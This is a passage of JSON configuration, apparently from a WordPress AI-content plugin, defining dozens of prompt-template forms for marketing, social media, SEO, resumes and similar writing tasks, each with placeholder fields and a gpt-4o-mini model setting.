Language","id":"target_language","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Sentence","id":"sentence","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"SEO keyword analysis","description":"Analyze the potential of SEO keywords for a website","prompt":"Analyze the potential of the following SEO keywords for a %%website_topic%% website: %%keywords%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Website Topic","id":"website_topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Keywords","id":"keywords","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Suggest a YouTube video title","description":"Generate an engaging title for a YouTube video","prompt":"Suggest a catchy title for a YouTube video about %%video_topic%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Video Topic","id":"video_topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Write a product review","description":"Create a brief product review based on the given rating","prompt":"Write a %%rating%%-star review for the product %%product_name%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Rating","id":"rating","required":"yes","type":"number","min":"1","max":"5","rows":"","cols":"","options":"","value":""},{"label":"Product Name","id":"product_name","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Generate a tweet","description":"Craft a tweet related to a specific topic","prompt":"Compose a tweet about %%tweet_topic%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Tweet Topic","id":"tweet_topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Create a workout routine","description":"Generate a personalized workout routine based on the user's goal","prompt":"Create a workout routine for someone who wants to %%goal%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Goal","id":"goal","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Design a logo description","description":"Describe a logo concept for a given brand or company","prompt":"Describe a logo concept for the brand %%brand_name%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Brand Name","id":"brand_name","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Write a movie plot","description":"Create a brief plot for a movie based on the given genre","prompt":"Write a movie plot for a %%genre%% film","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Genre","id":"genre","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Create a LinkedIn connection request","description":"Write a personalized connection request message for LinkedIn","prompt":"Compose a LinkedIn connection request message for someone in the %%industry%% industry","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Industry","id":"industry","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Write a Facebook ad copy","description":"Create a persuasive ad copy for a Facebook advertisement","prompt":"Write an engaging Facebook ad copy for a product called %%product_name%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product Name","id":"product_name","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Write a motivational quote","description":"Generate an inspiring quote related to a specific theme","prompt":"Write a motivational quote about %%theme%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Theme","id":"theme","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Suggest travel destinations","description":"Provide a list of travel destinations based on the user's preferences","prompt":"Suggest top 5 travel destinations for someone who loves %%preferences%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Preferences","id":"preferences","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Create a blog post outline","description":"Generate an outline for a blog post on a specific topic","prompt":"Create an outline for a blog post about %%blog_topic%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Blog Topic","id":"blog_topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Create Instagram captions","description":"Generate creative captions for an Instagram post","prompt":"Write three different Instagram captions for a photo taken at %%photo_location%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Photo Location","id":"photo_location","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Product name suggestions","description":"Generate unique product name ideas","prompt":"Suggest five creative product names for a %%product_category%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product Category","id":"product_category","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Write a book blurb","description":"Create a captivating book blurb or summary","prompt":"Write an enticing book blurb for a %%book_genre%% novel titled '%%book_title%%'","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Book Genre","id":"book_genre","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Book Title","id":"book_title","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Generate a recipe idea","description":"Create a unique recipe idea based on specific ingredients","prompt":"Come up with a creative recipe idea using %%ingredients%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Ingredients","id":"ingredients","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Summarize a text","description":"Provide a concise summary of a given text","prompt":"Please provide a short summary of the following text: '%%text_to_summarize%%'","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Text to Summarize","id":"text_to_summarize","required":"yes","type":"textarea","min":"","max":"","rows":"4","cols":"","options":"","value":""}]},{"type":"text","title":"Create a marketing slogan","description":"Generate a catchy marketing slogan for a product or service","prompt":"Create a memorable marketing slogan for a %%product_or_service%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product or Service","id":"product_or_service","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Suggest a TikTok video idea","description":"Generate a creative idea for a TikTok video","prompt":"Suggest a fun and engaging TikTok video idea for a %%tiktok_theme%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"TikTok Theme","id":"tiktok_theme","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Write a LinkedIn recommendation","description":"Craft a professional LinkedIn recommendation","prompt":"Write a LinkedIn recommendation for %%person_name%%, who worked as a %%job_title%% at %%company%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Person Name","id":"person_name","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Job Title","id":"job_title","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Company","id":"company","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Write a fashion trend prediction","description":"Predict an upcoming fashion trend","prompt":"Predict an upcoming fashion trend for %%season%% %%year%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Season","id":"season","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Year","id":"year","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Generate blog post ideas","description":"Come up with blog post ideas for a specific topic","prompt":"Generate five blog post ideas related to %%blog_topic%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Blog Topic","id":"blog_topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Real estate listing description","description":"Write a captivating description for a real estate listing","prompt":"Write an engaging real estate listing description for a %%property_type%% located in %%location%% with %%bedrooms%% bedrooms and %%bathrooms%% bathrooms","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Property Type","id":"property_type","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Location","id":"location","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Bedrooms","id":"bedrooms","required":"yes","type":"number","min":"1","max":"","rows":"","cols":"","options":"","value":""},{"label":"Bathrooms","id":"bathrooms","required":"yes","type":"number","min":"1","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Networking","description":"Generates a personalized message for connecting with a potential professional contact","prompt":"Hello, my name is %%personname%% and I am a %%personprofession%%. I came across your profile and was impressed by your experience in the %%personindustry%% industry. I would love to connect and learn more about your work. Can you please tell me more about your experience and current projects?","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Your Name","id":"personname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Your Profession","id":"personprofession","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Your Industry","id":"personindustry","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Career Development","description":"Provides advice for advancing your career","prompt":"I have been working as a %%personprofession%% for %%personexperience%% now in the %%personindustry%% industry and I am seeking advice for %%seekingadvicefor%%. Can you please provide me with some advice on how to do this?","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Your Profession","id":"personprofession","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Experience","id":"personexperience","required":"yes","type":"select","min":"","max":"","rows":"","cols":"","options":"Less than a year\r\nBetween 1 and 3 years\r\nBetween 3 and 5 years\r\nBetween 5 and 10 years\r\nMore than 10 years"},{"label":"Your Industry","id":"personindustry","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Seeking Advice For","id":"seekingadvicefor","required":"yes","type":"select","min":"","max":"","rows":"","cols":"","options":"Career Advancement\r\nCareer Change\r\nJob Search\r\nInterview Preparation\r\nNetworking"}]},{"type":"text","title":"Business Strategy Advisor","description":"Generate innovative solutions to grow your business.","prompt":"List 10 potential strategies to solve a problem in business, including unconventional ones.\n\nProblem: Lack of sales growth\nSolution Ideas:\n\n1. Diversify your product line\n2. Personalize your marketing approach\n3. Utilize customer data to drive sales\n4. Offer value-added services\n5. Network with complementary businesses\n6. Invest in employee training and development\n7. Expand your target market\n8. Utilize innovative technologies\n9. Create a strong brand image\n10. Leverage partnerships and collaborations\n\nProblem: %%bsaproblem%%\nSolution Ideas:\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Problem","id":"bsaproblem","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"SEO Meta Description Generator","description":"Generate an SEO friendly meta description for a website page.","prompt":"Generate an SEO friendly meta description for a website: %%websitename%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Website Name","id":"websitename","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Google AdWords Headline Generator","description":"Generate headlines for Google AdWords ads.","prompt":"Generate a %%headlinetype%% headlines for a Google AdWords ad for a %%businessname%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Headline Type","id":"headlinetype","required":"yes","type":"select","min":"","max":"","rows":"","cols":"","options":"Creative\r\nCatchy\r\nUnique"},{"label":"Business Name","id":"businessname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Content Marketing Strategy Generator","description":"Generate a content marketing strategy for a business.","prompt":"Generate a content marketing strategy for a business. Business: %%businessname%%\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Business","id":"businessname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Social Media Marketing Plan Generator","description":"Generate a social media marketing plan for a business.","prompt":"Generate a social media marketing plan for a business. Business: %%businessname%%\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Business","id":"businessname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"WooCommerce Product Comparison Generator","description":"Generate a product comparison for a WooCommerce product.","prompt":"Generate a product comparison for a WooCommerce product. Product: %%productname%%\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product Name","id":"productname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"WooCommerce Product Upsell Generator","description":"Generate a product upsell for a WooCommerce product.","prompt":"Generate a product upsell for a WooCommerce product. Product: %%productname%%\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product Name","id":"productname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Reddit Discussion","description":"Generates a thoughtful and well-reasoned discussion for Reddit","prompt":"What are the pros and cons of %%discussiontopic%%? Discuss.\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"discussiontopic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Successful Business Coach","description":"Generate a list of 10 promising ideas for solving a problem in business.","prompt":"Generate a list of %%numberofideas%% promising ideas for solving the problem: %%problem%%.\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Number of Ideas","id":"numberofideas","required":"yes","type":"select","min":"","max":"","rows":"","cols":"","options":["3","4","5","6","7","8","9","10"]},{"label":"Problem","id":"problem","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Resume Optimization","description":"Optimizes and improves the language and formatting of your resume for better chances of getting hired.","prompt":"Write a resume for:\n\nName: %%personname%%. Age: %%personage%%. Graduated from %%persongrad%%. Education: %%personedu%%. Have experience in %%personexp%%. Skills: %%personskills%%.\n\n","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Your Name","id":"personname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Your Age","id":"personage","required":"yes","type":"number","min":"1","max":"120","rows":"","cols":"","options":"","value":""},{"label":"Graduated From","id":"persongrad","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Education","id":"personedu","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Experience","id":"personexp","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Skills","id":"personskills","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Endorsement Language","description":"Generates personalized language for endorsing and recommending a LinkedIn connection.","prompt":"Write an endorsement for: %%personname%%, a %%personprofession%% with %%personskills%% skills.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Your Name","id":"personname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Your Profession","id":"personprofession","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Your Skills","id":"personskills","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"LinkedIn Post Generator","description":"Generate a LinkedIn post that highlights your professional achievements.","prompt":"Generate a LinkedIn post that highlights my recent promotion and the skills I used to achieve it: %%newposition%% at %%companyname%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"New Position Title","id":"newposition","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Company Name","id":"companyname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Twitter Thread Generator","description":"Generate a Twitter thread on a topic of your choice.","prompt":"Generate a Twitter thread about the importance of %%topic%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Post for Facebook","description":"Generates a creative and engaging post for Facebook","prompt":"Write a post about the benefits of %%topic%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Tweet Summary of News Article","description":"This prompt allows you to summarize the main points of a news article and tweet it.","prompt":"Create a tweet summarizing the main points of a news article. \n\nArticle Title: %%news%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Headline","id":"news","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Post for Facebook","description":"Generates a creative and engaging post for Facebook","prompt":"Write a post about the benefits of %%topic%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Tweet Summary of News Article","description":"This prompt allows you to summarize the main points of a news article and tweet it.","prompt":"Create a tweet summarizing the main points of a news article. \n\nArticle Title: %%news%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Headline","id":"news","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Social Media Post for a Fashion Product","description":"Write a social media post to promote a new fashion product.","prompt":"Write a social media post to promote a new fashion product. Product: %%product%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product Name","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Instagram Hashtag Generator","description":"Generate a list of relevant hashtags to use in your Instagram posts.","prompt":"Generate a list of relevant hashtags to use in your Instagram posts. Topic: %%topic%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Blog Post Title Generator","description":"Generate an attention-grabbing title for a blog post.","prompt":"Generate an attention-grabbing title for a blog post. Topic: %%topic%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Blog Post Introduction Generator","description":"Generate an engaging introduction for a blog post.","prompt":"Generate an engaging introduction for a blog post. Topic: %%topic%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"E-commerce Product Description Generator","description":"Generate a detailed product description for an e-commerce website.","prompt":"Generate a detailed product description for an e-commerce website. Product: %%product%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Question & Answer","description":"Answer questions based on existing knowledge.","prompt":"You are a highly intelligent question answering bot. If I ask you a question that is rooted in truth, you will give me the answer. If I ask you a question that is nonsense, trickery, or has no clear answer, you will respond with \"I don't know the answer, sorry\".\n\nQ: %%question%%\nA:","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Question","id":"question","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"YouTube Video Description Generator","description":"Generate a short and engaging description for a YouTube video.","prompt":"Generate a short and engaging description for a YouTube video. The video is about %%videocontent%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Video Content","id":"videocontent","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Hackernews Submission","description":"Generates a compelling and informative submission for Hacker News","prompt":"Generate a submission for Hacker News that discusses: %%discussiontopic%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"discussiontopic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Mindfulness Coach","description":"Practice mindfulness and reduce stress for a better quality of life.","prompt":"Create a list of 10 mindfulness exercises to improve %%problem%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Improvement Area","id":"problem","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Real Estate Neighborhood Description Generator","description":"Generate a description of a real estate neighborhood.","prompt":"Generate a description of a real estate neighborhood. Neighborhood: %%neighborhood%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Neighborhood","id":"neighborhood","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"WooCommerce Product Feature List Generator","description":"Generate a list of features for a WooCommerce product.","prompt":"Generate a list of features for a product. Product: %%product%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Product","id":"product","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Follow-Up Email","description":"Generate a follow-up email.","prompt":"Generate a follow-up email. Receiver Name: %%receivername%%. Subject: %%subject%%. Sender Name: %%sendername%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Receiver Name","id":"receivername","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Subject","id":"subject","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Sender Name","id":"sendername","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Customer Service Reply","description":"Generate a reply to a customer service email.","prompt":"Generate a reply to a customer service email. Customer inquiry: %%customerinquiry%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Customer Inquiry","id":"customerinquiry","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Job Application Email","description":"Generate a job application email.","prompt":"Generate a job application email. Job: %%job%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Job","id":"job","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Domain Name Suggestion Tool","description":"Generate domain name suggestions for a business.","prompt":"Generate %%numberofsuggestions%% domain name suggestions for a %%business%% business.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Number of Suggestions","id":"numberofsuggestions","required":"yes","type":"select","min":"","max":"","rows":"","cols":"","options":["1","2","3","4","5"]},{"label":"Business","id":"business","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Domain Name Catchphrase Generator","description":"Generate a catchphrase for a domain name.","prompt":"Generate a catchphrase for the domain name: %%domainname%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Domain Name","id":"domainname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Domain Name Tagline Generator","description":"Generate a tagline for a domain name.","prompt":"Generate a tagline for the domain name: %%domainname%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Domain Name","id":"domainname","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Advice Generator","description":"Generate advice for various topics.","prompt":"Generate advice for %%topic%%.","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Topic","id":"topic","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Marketing Landing Page Generator","description":"Generate a marketing landing page for a new product.","prompt":"Generate a marketing landing page for a new product. Product: 